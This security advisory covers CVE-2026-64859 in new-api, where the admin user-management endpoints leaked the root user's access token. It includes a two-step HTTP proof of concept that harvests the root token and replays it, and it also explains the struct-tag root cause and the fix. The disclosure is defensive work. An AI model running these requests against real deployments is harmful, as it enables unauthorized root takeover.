critical · 9.1CVE-2026-64859Aug 17, 2026

CVE-2026-64859: new-api User List API Leaks Root Access Token

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any admin user of new-api (before v1.0.0-rc.7) could call the user management API and receive the root user's access token in plain text, allowing full privilege escalation to root.

Packagegithub.com/QuantumNous/new-api
Ecosystemgo
Affected< 1.0.0-rc.7
Fixed in1.0.0-rc.7
CVE-2026-64859: new-api User List API Leaks Root Access Token

The problem

The new-api admin user management endpoints, including GET /api/user/ (user list), GET /api/user/search, and GET /api/user/:id, returned the full User model in JSON responses. The database query omitted only the password column, so the access_token field was still serialized and sent to the caller.

Because access tokens act as bearer credentials for all API authentication in new-api, an admin who obtained the root user's access_token value could immediately impersonate root. This bypassed the intended privilege boundary between admin and root, giving the attacker full control over system settings, payment config, and OAuth or SMTP secrets.

Proof of concept

A working proof-of-concept for CVE-2026-64859 in github.com/QuantumNous/new-api, with the exact payload below.

http
# Step 1: as an admin user, fetch the user list and extract the root user's access_token
GET /api/user/?p=1&page_size=10 HTTP/1.1
Host: <target>
Authorization: Bearer <admin-access-token>

# The response includes access_token for every user, including root (role=100):
# {
#   "data": [
#     { "id": 1, "username": "root", "role": 100, "access_token": "<root-access-token>", ... }
#   ]
# }

# Step 2: use the leaked root access_token to call a root-only endpoint
GET /api/user/setting HTTP/1.1
Host: <target>
Authorization: Bearer <root-access-token>

The root cause is a missing json:"-" struct tag on the AccessToken field of the User model in Go. Before the fix, the field was tagged json:"access_token", so standard encoding/json marshaling included it in every API response that returned a User object.

The user list and search handlers called GORM with .Omit("password") to strip the password from the database query, but there was no equivalent protection for access_token. Any code path that returned a User struct directly was affected.

The patch at commit 0936e2504655a5cbf7bc3c388f6d3e2bb24916d3 changes the struct tag to json:"-", which instructs the Go JSON encoder to skip the field entirely, regardless of how the struct is returned. This is CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.

The fix

Upgrade to v1.0.0-rc.7 or later. The fix changes the AccessToken field tag in the User model from json:"access_token" to json:"-", preventing the field from ever appearing in API responses. After upgrading, rotate the root user's access token and any other user access tokens that may have been exposed, especially if untrusted admin accounts had access to the platform before the upgrade.

Reporter not attributed.

References: [1][2][3][4][5]

Related research